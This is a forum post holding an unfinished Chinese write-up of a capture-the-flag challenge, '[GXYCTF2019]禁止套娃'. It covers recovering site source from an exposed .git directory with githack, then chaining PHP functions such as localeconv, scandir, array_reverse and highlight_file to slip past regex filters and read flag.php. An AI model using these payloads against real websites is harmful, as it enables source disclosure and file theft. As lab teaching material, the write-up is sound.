九天猎人 发表于 2022-8-9 23:57:45

[GXYCTF2019]禁止套娃 wp(没写完)

这道题的思路是使用githack工具扫描目标ip/.git,得到index.php,进行代码审计,得到flag
 
git源码泄露的原因:
开发人员在开发时,常常会先把源码提交到远程托管网站(如github),最后再从远程托管网站把源码pull到服务器的web目录下,如果忘记把.git文件删除,就造成此漏洞。利用.git文件恢复处网站的源码,而源码里可能会有数据库的信息。
git的工作区就是目录,git的版本库就是.git文件夹。
py githack http://xxx/.git/
在githack文件夹下会产生扫描到的文件:
index.php
第一个int preg_match()函数,不同于preg_match_all(),只匹配一次,preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])的意思是看exp里有无data://或filter://或php://或phar://,前面有!,所以传参不能有这些,
第二个preg_replace()函数是替换功能,把exp中的:a-z,_,+表示1次或多次,(,),   (?R)表示当前表达式,第二个?表示前面的(?R)零次或多次,这里的作用是过滤了类似于a(b())之类的函数
第三个preg_match()函数,看exp里有无:et或na或info或dec或bin或hex或oct或pi或log,前面有!,所以exp里不能有这些东西
 
我们要先看目录 使用scandir('.');但是不能出现一点,因为.不在正则里,exp里有.preg_replace()函数调用后就会有.,就不是;了
localeconv()函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一点
https://img2022.cnblogs.com/blog/2911905/202206/2911905-20220625001850350-933923102.png
而current()返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了
exp=print_r(scandir(current(localeconv())));
回显是:Array ( => . => .. => .git => flag.php => index.php )
思考一下怎么得到flag.php:
array_reverse()函数以相反的元素顺序返回数组。
 ?exp=print_r(array_reverse(scandir(current(localeconv()))));
返回Array ( => index.php => flag.php => .git => .. => . )
这样flag.php就在数组里的第二个,再用next()函数得到指针下一个元素,
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
返回flag.php
再用highlight_file()函数得到flag.php的源码
?exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));
返回


 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: [GXYCTF2019]禁止套娃 wp(没写完)